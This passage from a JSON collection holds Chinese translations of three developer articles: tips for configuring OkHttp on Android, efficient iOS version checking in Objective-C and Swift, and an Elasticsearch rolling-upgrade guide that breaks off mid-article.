    "content": "> * 原文链接: [Effective OkHttp](http://omgitsmgp.com/2015/12/02/effective-okhttp/)\n* 原文作者 : [Michael Parker](http://omgitsmgp.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Brucezz](https://github.com/brucezz)\n* 校对者: [joyking7](https://github.com/joyking7), [Adam Shen](https://github.com/shenxn), [Jaeger](https://github.com/laobie)\n\n# 如何更高效地使用 okhttp\n\n在为[可汗学院](https://www.khanacademy.org/)开发 [Android app](https://play.google.com/store/apps/details?id=org.khanacademy.android) 时，[OkHttp](http://square.github.io/okhttp/) 是一个很重要的开源库。虽然它的默认配置已经提供了很好的效果，但是我们还是采取了一些措施提高 OkHttp 的可用性和自我检查能力：\n\n### 1\\. 在文件系统中开启响应缓存\n\n有些响应消息通过包含 `Cache-Control` HTTP 首部字段允许缓存，但是默认情况下，OkHttp 并不会缓存这些响应消息。因此你的客户端可能会因为不断请求相同的资源而浪费时间和带宽，而不是简单地读取一下首次响应消息的缓存副本。\n\n为了在文件系统中开启响应缓存，需要配置一个 `com.squareup.okhttp.Cache` 实例，然后把它传递给 `OkHttpClient` 实例的 `setCache` 方法。你必须用一个表示目录的 `File` 对象和最大字节数来实例化 `Cache` 对象。那些能够缓存的响应消息会被写在指定的目录中。如果已缓存的响应消息导致目录内容超过了指定的大小，响应消息会按照最近最少使用（[LRU Policy](https://en.wikipedia.org/wiki/Cache_algorithms#LRU)）的策略被移除。\n\n正如 [Jesse Wilson 所建议的](http://stackoverflow.com/a/32752861/400717)，我们将响应消息缓存在 `context.getCacheDir()` 的子文件夹中：\n\n\n```java\n// 缓存根目录，由这里推荐 -> http://stackoverflow.com/a/32752861/400717.\n// 小心可能为空，参考下面两个链接\n// https://groups.google.com/d/msg/android-developers/-694j87eXVU/YYs4b6kextwJ 和\n// http://stackoverflow.com/q/4441849/400717.\nfinal @Nullable File baseDir = context.getCacheDir();\nif (baseDir != null) {\n  final File cacheDir = new File(baseDir, \"HttpResponseCache\");\n  okHttpClient.setCache(new Cache(cacheDir, HTTP_RESPONSE_DISK_CACHE_MAX_SIZE));\n}\n```\n\n在可汗学院的应用中，我们指定了 `HTTP_RESPONSE_DISK_CACHE_MAX_SIZE` 的大小为 `10 * 1024 * 1024`，即 10MB。\n\n### 2\\. 集成 Stetho\n\n[Stetho](http://facebook.github.io/stetho/) 是一个 Facebook 出品的超赞的开源库，它可以让你用 Chrome 的功能——[开发者工具](https://developers.google.com/web/tools/setup/workspace/setup-devtools) 来检查调试你的 Android 应用。\n\nStetho 不仅能够检查应用的 SQLite 数据库和视图层次，还可以检查 OkHttp 的每一条请求和响应消息：\n\n![Image of Stetho](http://omgitsmgp.com/assets/images/posts/stetho-inspector-network.png)\n\n这种自我检查方式（Introspection）有效地确保了服务器返回允许缓存资源的 HTTP 首部时，且核缓存资源存在时，不再发出任何请求。\n\n开启 Stetho，只用简单地添加一个 `StethoInterceptor` 实例到网络拦截器（Network Interceptor）的列表中去：\n\n\n```java\nokHttpClient.networkInterceptors().add(new StethoInterceptor());\n```\n\n\n应用运行完毕之后，打开 Chrome 然后跳转到 `chrome://inspect`。设备、应用以及应用标识符信息会被陈列出来。直接点击“inspect”链接就可以打开开发者工具，然后切换到 Network 标签开始监测 OkHttp 发出的请求。\n\n### 3\\. 使用 Picasso 和 Retrofit\n\n可能和我们一样，你使用 [Picasso](http://square.github.io/picasso/) 来加载网络图片，或者使用 [Retrofit](http://square.github.io/retrofit/) 来简化网络请求和解析响应消息。在默认情况下，如果你没有显式地指定一个 `OkHttpClient`，这些开源库会隐式地创建它们自己的 `OkHttpClient` 实例以供内部使用。以下代码来自于 Picasso 2.5.2 版本的 `OkHttpDownloader` 类：\n\n\n```java\nprivate static OkHttpClient defaultOkHttpClient() {\n  OkHttpClient client = new OkHttpClient();\n  client.setConnectTimeout(Utils.DEFAULT_CONNECT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);\n  client.setReadTimeout(Utils.DEFAULT_READ_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);\n  client.setWriteTimeout(Utils.DEFAULT_WRITE_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);\n  return client;\n}\n```\n\nRetrofit 也有类似的工厂方法用来创建它自己的 `OkHttpClient`。\n\n图片是应用中需要加载的最大的资源之一。Picasso 是严格地按照 LRU 策略在内存中维护它的图片缓存。如果客户端尝试用 Picasso 加载一张图片，并且 Picasso 没有在内存缓存中找到该图片，那么它会委托内部的 `OkHttpClient` 实例来加载该图片。在默认情况下，由于前面的 `defaultOkHttpClient` 方法没有在文件系统中配置响应缓存，该实例会一直从服务器加载图片。\n\n自定义一个 `OkHttpClient` 实例，将从文件系统返回一个已缓存的响应消息这种情况考虑在内。没有一张图片直接从服务器加载。这在应用第一次加载时是尤为重要的。在这个时候，Picasso 的内存中的缓存是 [“冷”](http://stackoverflow.com/a/22756972/400717)的，它会频繁地委托 `OkHttpClient` 实例去加载图片。\n\n这就需要构建一个用你的 `OkHttpClient` 配置的 `Picasso` 实例。如果你在代码中使用  `Picasso.with(context).load(...)` 来加载图片，你所使用的 `Picasso` 单例对象，是在  `with` 方法中用自己的 `OkHttpClient` 延迟加载和配置的。因此我们必须在第一次调用 `with` 方法之前指定自己的 `Picasso` 实例作为单例对象。\n\n简单地把 `OkHttpClient` 实例包装到一个 `OkHttpDownloader` 对象中，然后传递给 `Picasso.Builder` 实例的 `downloader` 方法：\n\n```java\nfinal Picasso picasso = new Picasso.Builder(context)\n    .downloader(new OkHttpDownloader(okHttpClient))\n    .build();\n\n//客户端应该在任何需要的时候来创建这个实例\n//以防万一，替换掉那个单例对象\nPicasso.setSingletonInstance(picasso);\n```\n\n在 Retrofit 1.9.x 中，通过 `RestAdapter` 使用你的 `OkHttpClient` 实例，把 `OkHttpClient` 实例包装到一个 `OkClient` 实例中，然后传递给 `RestAdapter.Builder` 实例的 `setClient` 方法：\n\n\n    restAdapterBuilder.setClient(new OkClient(httpClient));\n\n\n在 Retrofit 2.0 中，直接把 `OkHttpClient` 实例传递给 `Retrofit.Builder` 实例的 `client` 即可。 \n\n在可汗学院的应用中，我们使用 [Dagger](http://google.github.io/dagger/) 来确保只有一个 `OkHttpClient` 实例，而且 Picasso 和 Retrofit 都会使用到它。我们为带 `@Singleton` 注解的 `OkHttpClient` 实例创建了一个 provider：\n\n```java\n@Provides\n@Singleton\npublic OkHttpClient okHttpClient(final Context context, ...) {\n  final OkHttpClient okHttpClient = new OkHttpClient();\n  configureClient(okHttpClient, ...);\n  return okHttpClient;\n}\n```\n\n这个 `OkHttpClient` 实例随后通过 Dagger 注入到其他用来创建 `RestAdapter` 和 `Picasso` 实例的 provider 里。\n\n### 4\\. 设置用户代理拦截器（User-Agent Interceptor）\n\n当客户端在每一次请求中都提供一个详细的 `User-Agent` 头部信息时，日志文件和分析数据提供了很有用的信息。默认情况下，OkHttp 的 `User-Agent` 值仅仅只有它的版本号。要设定你自己的 User-Agent，创建一个拦截器（Interceptor）然后替换掉默认值，参考 [StackOverflow 上的建议](http://stackoverflow.com/a/27840834/400717)：\n\n\n```java\npublic final class UserAgentInterceptor implements Interceptor {\n  private static final String USER_AGENT_HEADER_NAME = \"User-Agent\";\n  private final String userAgentHeaderValue;\n\n  public UserAgentInterceptor(String userAgentHeaderValue) {\n    this.userAgentHeaderValue = Preconditions.checkNotNull(userAgentHeaderValue);\n  }\n\n  @Override\n  public Response intercept(Chain chain) throws IOException {\n    final Request originalRequest = chain.request();\n    final Request requestWithUserAgent = originalRequest.newBuilder()\n        .removeHeader(USER_AGENT_HEADER_NAME)\n        .addHeader(USER_AGENT_HEADER_NAME, userAgentHeaderValue)\n        .build();\n    return chain.proceed(requestWithUserAgent);\n  }\n}\n```\n\n使用任何你觉得有价值的信息，来创建 `User-Agent` 值，然后传递给 `UserAgentInterceptor` 的构造函数。我们使用了这些字段：\n\n*   `os` 字段，值设置为 `Android`，明确表明这是一个 Android 设备\n*   `Build.MODEL` 字段，即用户可见的终端产品的名称\n*   `Build.BRAND` 字段，即消费者可见的跟产品或硬件相关的商标\n*   `Build.VERSION.SDK_INT` 字段，即用户可见的 [Android] 框架版本号\n*   `BuildConfig.APPLICATION_ID` 字段\n*   `BuildConfig.VERSION_NAME` 字段\n*   `BuildConfig.VERSION_CODE`字段\n\n最后三个字段是根据我们的 Gradle 构建脚本中的 `applicationId`, `versionCode` 和 `versionName` 的值来确定的。了解更多信息请参考文档 [应用版本控制](http://developer.android.com/tools/publishing/versioning.html)，和 [使用 Gradle 配置你的 `applicationId`](http://tools.android.com/tech-docs/new-build-system/applicationid-vs-packagename)。\n\n小提示：如果你的应用中用到了 `WebView`，你可以配置使用相同的 `User-Agent` 值，即之前创建的 `UserAgentInterceptor`：\n\n\n```java\nWebSettings settings = webView.getSettings();\nsettings.setUserAgentString(userAgentHeaderValue);\n```\n\n### 5\\. 指定合理的超时\n\n在 2.5.0 版本之前，OkHttp 请求默认永不超时。从 2.5.0 版本开始，如果建立了一个连接，或从连接读取下一个字节，或者向连接写入下一个字节，用时超过了10秒，请求就会超时。分别调用 `setConnectTimeout`，`setReadTimeout` 或 `setWriteTimeout` 方法可以重写那些默认值。\n\n小提示：Picasso 和 Retrofit 为它们的默认 `OkHttpClient` 实例指定不同的超时时长。\n默认情况下， Picasso 设定如下：\n\n*   连接超时15秒\n*   读取超时20秒\n*   写入超时20秒\n\nRetrofit 设定如下：\n\n*   连接超时15秒\n*   读取超时20秒\n*   写入无超时\n\n用你自己的 `OkHttpClient` 实例配置好 Picasso 和 Retrofit 之后，就能确保所有请求超时的一致性了。\n\n### 结论\n\n再次强调，OkHttp 的默认配置提供了显著的效果，但是采取以上的措施，可以提高 OkHttp 的可用性和自我检查能力，并且提升你的应用的质量。\n"
  },
  {
    "path": "TODO/efficient-iOS-version-checking.md",
    "content": ">* 原文链接 : [Efficient iOS Version Checking](https://pspdfkit.com/blog/2016/efficient-iOS-version-checking/)\n* 原文作者 : [Peter Steinberger](https://twitter.com/steipete)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [DeadLion](https://github.com/DeadLion)\n* 校对者: [MAYDAY1993](https://github.com/MAYDAY1993), [Siegen](https://github.com/siegeout)\n\n# 高效的 iOS 应用版本支持方法\n\n极少数应用程序很“奢侈”的只支持最新版本的 iOS。 设置一个较低的[部署目标](https://pspdfkit.com/guides/ios/current/announcements/version-support/)以及基于特定 iOS 版本的代码分支通常是很有必要的。虽然苹果公司的信息有些矛盾，还是有各种办法来完成这个。最近在[这条 tweet](https://twitter.com/stevemoseley/status/748953473069092864)上看到有人警告说，不要这样做：\n\n\n    #define IsIOS7 ([[[[UIDevice currentDevice] systemVersion] substringToIndex:1] intValue]>=7)\n\n\n[GitHub 搜索显示，有超过 8000 的结果](https://github.com/search?q=%5B%5B%5BUIDevice+currentDevice%5D+systemVersion%5D+substringToIndex%3A1%5D&type=Code&utf8=)调用了 `substringToIndex:1` 。所有这些代码碰到 iOS 10 就“懵逼”了。因为 iOS 10 会被检测成 iOS 1 了，估计只有在越狱的应用中才会出现吧。\n\n又是同样的老故事。[Windows 9 变成 Windows 10](http://www.pcworld.com/article/2690724/why-windows-10-isnt-named-9-windows-95-legacy-code.html) 是因为有[太多代码](https://searchcode.com/?q=if%28version%2Cstartswith%28%22windows+9%22%29)通过 `if (name.startsWith(\"windows 9\"))` 来检查 Windows 95 和 98 了。\n\n## 新 API\n\n苹果公司令人惊讶的花了相当长的时间才意识到这个问题并提供了更好的 API。iOS 8 中，终于有了一些改进！现在 [`NSProcessInfo`](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSProcessInfo_Class/) 有一个新的 [`operatingSystemVersion`](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSProcessInfo_Class/#//apple_ref/occ/instp/NSProcessInfo/operatingSystemVersion) 方法，更重要的是还有 [`- (BOOL)isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion)version`](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSProcessInfo_Class/#//apple_ref/occ/instm/NSProcessInfo/isOperatingSystemAtLeastVersion:) 方法来检查。\n\n    if ([[NSProcessInfo processInfo] isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){.majorVersion = 9, .minorVersion = 1, .patchVersion = 0}]) {\n        NSLog(@\"Hello from > iOS 9.1\");\n    }\n\n    // Using short-form for the struct, we can make things somewhat more compact:\n    if ([NSProcessInfo.processInfo isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){9,3,0}]) {\n        NSLog(@\"Hello from > iOS 9.3\");\n    }\n\n\n\n## 我们在 PSPDFKit 做了什么\n\n[PSPDFKit](https://pspdfkit.com/why-pspdfkit/)  是一个关于 PDF 的 SDK，我们可以用它在PDF文档上实现查看、注释以及填写表单的功能。最开始写这个 SDK 的时候还是 iOS 4，随着一系列新 iOS 版本的发布，它也不断的在改进。那个时候还没有专门的 API 来检测版本，许多应用采用类似下面的代码：\n\n    if ([[[UIDevice currentDevice] systemVersion] isEqualToString:@\"7.0\"]) {\n        //do stuff\n    }\n\n\n\n这样用不好，所以我们从来没这样用过。比较字符串速度可能很快，但是在这种情况下是个错误的选择。正确的做法是像下面[这样](https://gist.github.com/alex-cellcity/998472)：\n\n    #define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) \\\n      ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)\n\n    if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@\"9.0\")) {\n        ...\n    }\n\n\n这样又太笨重了，容易出错。有种更简单的方法。我们可以用 [`NSFoundationVersionNumber`](https://developer.apple.com/reference/foundation/nsfoundationversionnumber)（或者 [`kCFCoreFoundationVersionNumber`](https://developer.apple.com/library/ios/documentation/CoreFoundation/Reference/CFBaseUtils/#//apple_ref/c/data/kCFCoreFoundationVersionNumber)）来比较。系统检测开销降低到一个简单的 if 比较。不需要调用其它方法，所以它效率极高，即使在紧凑的循环中表现也不错。\n\n    if (NSFoundationVersionNumber > NSFoundationVersionNumber_iOS_9_0) {\n        // do stuff for iOS 9 and newer\n    }\n    else {\n        // do stuff for older versions than iOS 9\n    }\n\n\n事实上，这正是苹果公司在 [2013 构建现代应用程序技术论坛中章节 2](http://devstreaming.apple.com/videos/techtalks/2013/15_Architecting_Modern_Apps_Part_2/Architecting_Modern_Apps_Part_2.pdf)所建议的。\n\n\n告诫：有时候会缺少一些常量。`NSFoundationVersionNumber` 是在 `NSObjCRuntime.h` 中定义的，作为 Xcode 7.3.1 的一部分，我们设定常数范围从 iPhone OS 2 到 `#define NSFoundationVersionNumber_iOS_8_4 1144.17` - 而不是 9.0-9.3\\。  对于  `kCFCoreFoundationVersionNumber` 也一样。注意，虽然这些数字很相似，但是它们的意义是不同的，所以使用其中一个或者另外一个。\n\n如果你做 macOS 开发的话，也可以[使用 `NSAppKitVersionNumber` ，它通常是更新到最新的](http://nshipster.com/swift-system-version-checking/)。\n\n在 SDK 10（Xcode 8）苹果补充了缺少的数字，甚至还有未来的版本。\n\n    #define NSFoundationVersionNumber_iOS_9_0 1240.1\n    #define NSFoundationVersionNumber_iOS_9_1 1241.14\n    #define NSFoundationVersionNumber_iOS_9_2 1242.12\n    #define NSFoundationVersionNumber_iOS_9_3 1242.12\n    #define NSFoundationVersionNumber_iOS_9_4 1280.25\n    #define NSFoundationVersionNumber_iOS_9_x_Max 1299\n\n\n\n\n会有 iOS 9.4 吗？考虑到 iOS 10 将在未来 3 个月内发布，而且 9.3.3 仍然是 beta 版，我估计是不会有了，但是最好还是占个坑吧。在 PSPDFKit 中，我们是使用下面的模式来定义缺少的版本号。如果代码以一个更高的最低部署目标构建，代码会自动编译，当我们遗漏了一些 iOS 版本时，这会很有帮助。\n\n    // iOS 9 compatibility\n    #ifndef kCFCoreFoundationVersionNumber_iOS_9_0\n    #define kCFCoreFoundationVersionNumber_iOS_9_0 1223.1\n    #endif\n\n    #define PSPDF_IS_IOS9_OR_GREATER (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_9_0)\n\n    #if defined(__IPHONE_OS_VERSION_MAX_ALLOWED) && __IPHONE_OS_VERSION_MAX_ALLOWED >= 90000\n    #define PSPDF_IF_IOS9_OR_GREATER(...) \\\n    if (PSPDF_IS_IOS9_OR_GREATER) { \\\n    PSPDF_PARTIAL_AVAILABILITY_BEGIN \\\n    __VA_ARGS__ \\\n    PSPDF_PARTIAL_AVAILABILITY_END }\n    #else\n    #define PSPDF_IF_IOS9_OR_GREATER(...)\n    #endif\n\n    #if defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && __IPHONE_OS_VERSION_MIN_REQUIRED < 90000\n    #define PSPDF_IF_PRE_IOS9(...)  \\\n    if (kCFCoreFoundationVersionNumber < kCFCoreFoundationVersionNumber_iOS_9_0) { \\\n    PSPDF_PARTIAL_AVAILABILITY_BEGIN \\\n    __VA_ARGS__ \\\n    PSPDF_PARTIAL_AVAILABILITY_END }\n    #else\n    #define PSPDF_IF_PRE_IOS9(...)\n    #endif\n\n\n\n请注意部分可用的宏。这是添加到 SDK 9 中出现的一个警告。当我们打包进版本代码块时，这些没什么用，所以禁用它。我们有一些单独的宏，在做一些其他类型的可用性检查时会有用。我们在某些情况下使用，例如在 `UICollectionView` 中实现一些交互动画，[在 iOS 9 中拖拽 tab 或者 page](https://pspdfkit.com/features/document-editor/ios/)，同时也要支持 iOS 8。\n\n    #define PSPDF_PARTIAL_AVAILABILITY_BEGIN \\\n    _Pragma(\"clang diagnostic push\") \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wpartial-availability\\\"\")\n\n    #define PSPDF_PARTIAL_AVAILABILITY_END \\\n    _Pragma(\"clang diagnostic pop\")\n\n\n\n### 为什么用这些宏\n\n自从[前段时间我们放弃了 iOS 7](https://pspdfkit.com/guides/ios/current/announcements/version-support/)，我们可以轻易的切换到新的 `isOperatingSystemAtLeastVersion:` 方法上。其内部实现是通过调用 `operatingSystemVersion` ，是相当高效的。但它会产生更多的代码，仍然比我们现在的实现要慢一点。我没看到过基础检测的正面比较，但是可以肯定的说用了这些宏会更好，如果没有用宏的话，赶紧试试吧。\n\n如果我们直接看 `operatingSystemVersion` 的实现，确实有点丑。它被缓存了，但是它通过调用 `_CFCopySystemVersionDictionary()` 生成版本号，然后查找 `kCFSystemVersionProductVersionKey` （就是 `ProductVersion`），然后对该字符串执行 `componentsSeparatedByString:` 。不知道为啥，我更期望这是硬编码，但是从外部字典文件读取可能更加灵活。\n\n## Swift\n\n由于 Swift 2.0 是[支持内置版本检查的语言](https://www.hackingwithswift.com/new-syntax-swift-2-availability-checking)，以前是这么用的：\n\n    if NSProcessInfo().isOperatingSystemAtLeastVersion(NSOperatingSystemVersion(majorVersion: 10, minorVersion: 0, patchVersion: 0)) {\n        // modern code\n    }\n\n\n现在可以用更少的代码完成同样的事：\n\n\n    if #available(iOS 10.0, *) {\n        // modern code\n    } else {\n        // Fallback on earlier versions\n    }\n\n\n\n**Swift 还适用于代码块中 API 调用的可用性检查**，所以我们保证了编译时安全，在 Objective-C 是无法轻易做到的。 在 [“Swift in Practice” (WWDC 2015, Session 411)](https://developer.apple.com/videos/play/wwdc2015/411/)  8：40 开始，一名苹果工程师详细介绍了这一特性。\n\n\n那么，Swift 底层是怎样实现的？好在它是开源的而且有着良好的结构。让我们来看看 [`Availability.swift`](https://github.com/apple/swift/blob/master/stdlib/public/core/Availability.swift#L20-L43):\n\n    /// Returns 1 if the running OS version is greater than or equal to\n    /// major.minor.patchVersion and 0 otherwise.\n    ///\n    /// This is a magic entry point known to the compiler. It is called in\n    /// generated code for API availability checking.\n    @_semantics(\"availability.osversion\")\n    public func _stdlib_isOSVersionAtLeast(\n      _ major: Builtin.Word,\n      _ minor: Builtin.Word,\n      _ patch: Builtin.Word\n    ) -> Builtin.Int1 {\n    #if os(OSX) || os(iOS) || os(tvOS) || os(watchOS)\n      let runningVersion = _swift_stdlib_operatingSystemVersion()\n      let queryVersion = _SwiftNSOperatingSystemVersion(\n        majorVersion: Int(major),\n        minorVersion: Int(minor),\n        patchVersion: Int(patch)\n      )\n\n      let result = runningVersion >= queryVersion\n\n      return result._value\n    #else\n      // FIXME: As yet, there is no obvious versioning standard for platforms other\n      // than Darwin-based OS', so we just assume false for now.\n      // rdar://problem/18881232\n      return false._value\n    #endif\n    }\n\n\n\n现在，更有趣的是，`_swift_stdlib_operatingSystemVersion()` 是干什么的，它是怎么定义的？想要找到答案的话，我们得离开舒适的 Swift 世界了，然后深入探究 [“疯狂”的 Objective-C++] 。进入   [`Availability.mm`](https://github.com/apple/swift/blob/master/stdlib/public/stubs/Availability.mm#L26):\n\n    /// Return the version of the operating system currently running for use in\n    /// API availability queries.\n    _SwiftNSOperatingSystemVersion swift::_swift_stdlib_operatingSystemVersion() {\n      static NSOperatingSystemVersion version = ([]{\n        // Use -[NSProcessInfo.operatingSystemVersion] when present\n        // (on iOS 8 and OS X 10.10 and above).\n        if ([NSProcessInfo\n             instancesRespondToSelector:@selector(operatingSystemVersion)]) {\n          return [[NSProcessInfo processInfo] operatingSystemVersion];\n        } else {\n          // Otherwise load and parse from SystemVersion dictionary.\n          return operatingSystemVersionFromPlist();\n        }\n      })();\n\n      return { version.majorVersion, version.minorVersion, version.patchVersion };\n    }\n\n\n\nSwift 使用了 iOS 8 的新 API，但是低于 iOS 8 的版本又回退到糟糕的方法了，开放了  `@\"/System/Library/CoreServices/SystemVersion.plist\"` 文件。这样结果就会被缓存，版本检测会访问硬盘，但是只访问一次。我的第一反应是发送一个变化的 pull 请求，简单的使用已有的公用 API（`systemVersion`），然而 [Xcode 8 设置最小部署目标为 iOS 8](https://stackoverflow.com/questions/37817554/xcode-8-recommend-me-to-change-the-min-ios-deployment-target-from-7-1-to-8-0)，我们不可能看到另外一个有着 Swift 更新的 Xcode 7.3.x 发布，所以这段代码在低于 iOS 8 的版本可能是完全无用的。\n\n## 更多关于向后兼容\n\n值得注意的是，苹果正在努力让这些版本检测成为不必要的。当然还有 [`respondsToSelector:`](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Protocols/NSObject_Protocol/index.html#//apple_ref/occ/intfm/NSObject/respondsToSelector:) 和 [`instancesRespondToSelector:`](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSObject_Class/index.html#//apple_ref/occ/clm/NSObject/instancesRespondToSelector:) ，它们是 Objective-C 的一部分。假设你已经了解这些，那么使用它们是极好的，在某些情况下，我们也会使用。然而，还是有些情况不适用的。例如，有时苹果会把已经存在于一些组件或者更深层的内部构造中的有着不同特性的 API 公开。这就是为什么 [`appStoreReceiptURL` 在 iOS 7 中添加，但是 iOS 6 中也存在的原因](https://openradar.appspot.com/14216650)。在这种情况下，显式的版本是更可靠的。此外，当你希望放弃旧版本的 iOS 时，也更容易清理代码。所有需要你做的就是移除兼容性宏和修复构建错误。\n\n### 弱链接\n\n在很早的时候，使用一个不在所有版本中可用的类意味着要使用下面的模式：\n\n    Class cls = NSClassFromString (@\"NSRegularExpression\");\n    if (cls) {\n        // Create an instance of the class and use it.\n    } else {\n        // Alternate code path to follow when the\n        // class is not available.\n    }\n\n\n\n随着 iOS 4.2 [弱链接类](https://developer.apple.com/library/ios/documentation/DeveloperTools/Conceptual/cross_development/Using/using.html#//apple_ref/doc/uid/20002000-SW3)的添加，现在这要简单得多︰\n\n\n    if ([UIPrintInteractionController class]) {\n        // Create an instance of the class and use it.\n    } else {\n        // Alternate code path to follow when the\n        // class is not available.\n    }\n\n\n\n\n[Greg Parker 在他的 Hamster Emporium 文章中分享了更多](http://sealiesoftware.com/blog/archive/2009/09/09/objc_explain_Weak-import_classes.html)，包括这个梗：\n\n>为 Objective-C 增加弱导入是 Snow Leopard 没有按时发布的原因。假设在 Mac OS X 10.7（以猫科动物命名）按时发布，直到 Mac OS X 10.8 你才能用的上。\n\n弱链接可以扩展到一个整体框架。在 PSPDFKit，我们为 [SafariServices](https://developer.apple.com/library/ios/documentation/SafariServices/Reference/SafariServicesFramework_Ref/) 做了扩展，其中包含 [`SFSafariViewController`](https://developer.apple.com/library/ios/documentation/SafariServices/Reference/SFSafariViewController_Ref/index.html#//apple_ref/occ/cl/SFSafariViewController)（在 iOS 9 中加入）。\n\n    // Part of our .xcconfig file:\n    -weak_framework SafariServices\n\n弱链接在启动的时候会有些性能损耗，所以当你不得不使用的时候再用。想学习更多，看看 [Apple's SDK Compatibility Guide](https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/cross_development/Using/using.html#//apple_ref/doc/uid/20002000-SW6)。\n\n## 结论\n\n对于大多数应用，在 Objective-C 中使用 `isOperatingSystemAtLeastVersion:`，在 Swift 中使用 `#available()` 就足够了。了解底层实现还是很有趣的，一切都比字符串比较要好。如果你喜欢刨根问底，那么 [PSPDFKit 就是你该来的地方。](https://pspdfkit.com/jobs/)\n\n## 更新\n\n发表这篇文章之后，Devin Coughlin ，`#available` 方法的作者回复了为什么在 Swift 中不能使用 `systemVersion`：\n\n> [@steipete Also: 为什么不用 \"systemVersion\"? 因为 UIDevice 在 macOS 中不存在，然后我们想在所有平台上使用同样的代码路径。](https://twitter.com/coughlin/status/750706938489425921)\n"
  },
  {
    "path": "TODO/elasticsearch-rolling-upgrades.md",
    "content": "> * 原文地址：[Rolling upgrades](https://www.elastic.co/guide/en/elasticsearch/reference/2.2/rolling-upgrades.html)\n> * 原文作者：[elastic.](https://www.elastic.co/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/rolling-upgrades.md](https://github.com/xitu/gold-miner/blob/master/TODO/elasticsearch-rolling-upgrades.md)\n> * 译者：[code4j](https://github.com/rpgmakervx)\n> * 校对者：[Xekin-FE](https://github.com/Xekin-FE), [ClarenceC](https://github.com/ClarenceC)\n\n# Elasticsearch 滚动升级\n\n滚动升级允许 Elasticsearch 集群在业务不中断的情况下更新一个节点。集群中不支持同时运行多个版本，因为分片不会从新版本分配到旧版本的节点上。\n\n从这个列表[table](setup-upgrade.html \"Upgrading\")中检查当前版本的ES是否支持滚动升级。\n\n滚动升级步骤如下：\n\n## 第一步: 滚动升级步骤如下：\n\n当你关闭一个节点之后，分片分配进程会尝试立即将分片从当前节点复制到集群上的其他节点，导致浪费了大量的 I/O 操作。要想避免这个问题可以通过在关闭节点前禁用这个进程\n\n```\nPUT /_cluster/settings\n{\n  \"transient\": {\n    \"cluster.routing.allocation.enable\": \"none\"\n  }\n}\n```\n\n## 第二步：停止不必要的索引，并执行同步刷新（这一步可选）\n\n你可以在升级期间愉快的进行索引操作，当然，如果你使用如下命令，停止不必要的索引，并执行同步刷新[synced-flush](indices-synced-flush.html \"Synced Flush\")请求，分片恢复速度会更快：\n\n```\nPOST /_flush/synced\n```\n\n同步刷新是锦上添花的操作。如果出现索引挂起的现象操作就会失败，为了安全起见有必要多试几次。\n\n## 第三步：单个节点停机并升级\n\n**升级前**关闭一个节点。\n\n> 注意：当使用 zip 或 tar 包升级，默认情况下 Elasticsearch home 目录下的 config，data，log，plugins 等目录都会被覆盖。\n最好解压到不同的目录，这样升级期间就不会删除原来的目录了。自定义的目录可以通过 path.conf 和 path.data 来[设置](setup-configuration.html#paths \"Pathsedit\")。\n RPM 或 DEB 包会把目录放到 [合适的位置](https://www.elastic.co/guide/en/elasticsearch/reference/2.2/setup-dir-layout.html \"Directory Layout\")\n\n使用 [rpm/deb](setup-repositories.html \"Repositories\") ) 安装包升级：\n\n*  使用 `rpm` 或 `dpkg` 安装新包，所有的目录都会被放到合理的位置，配置文件不会被覆盖。\n\n使用zip或tar包解压安装：\n\n*   解压安装包，确保不要覆盖 `config` 和 `data` 目录。\n*   从旧的安装目录拷贝 `conf` 目录到新安装目录，或者使用 `--path.conf` 选项到外部的config目录\n*   从旧的安装目录拷贝 `data` 目录到新的安装目录，或修改 `config/elasticsearch.yml` 中的 `path.data` 设置 data 目录为原来的目录。\n\n## 第四步：启动升级过的节点\n\n启动升级后的节点并确认加入到集群中，可以通过日志或下面的命令来确认：\n\n```\nGET _cat/nodes\n```\n\n## 第五步：重新打开分片再平衡\n\n一旦节点重新加入集群，解禁分片分配进程再平衡：\n\n```\nPUT /_cluster/settings\n{\n  \"transient\": {\n    \"cluster.routing.allocation.enable\": \"all\"\n  }\n}\n```\n\n### 第六步：等待节点恢复正常\n\n等待集群分片平衡结束后，再升级下一个节点。这一过程可以使用[`_cat/health`](cat-health.html \"cat health\")命令检查：\n\n```\nGET _cat/health\n```\n\n等到 `status` 这一列由 `yellow` 变成 `green`，Green 表示主分片和副本都分配完了。\n\n> 重点：滚动升级过程中，高版本上的主分片不会把副本分配到低版本的节点，因为高版本的数据格式老版本不认。\n>  如果高版本的主分片没法分配副本，换句话说如果集群中只剩下了一个高版本节点，那么节点就保持未分配的状态，集群健康会保持 `yellow`。\n> 这种情况下，检查下有没有初始化或分片分配在执行。\n> 一旦另一个节点升级结束后，分片将会被分配，然后集群状态会恢复到 `green` 。\n\n没有使用[同步刷新](https://www.elastic.co/guide/en/elasticsearch/reference/2.2/indices-synced-flush.html \"Synced Flush\")的分片恢复时间会慢一点。分片的状态可以通过[`_cat/recovery`](https://www.elastic.co/guide/en/elasticsearch/reference/2.2/cat-recovery.html \"cat recovery\")请求监控：\n\n```\nGET _cat/recovery\n```\n\n如果你在这之前停止索引操作，那么在节点恢复完成之后重启也是安全的。\n\n### 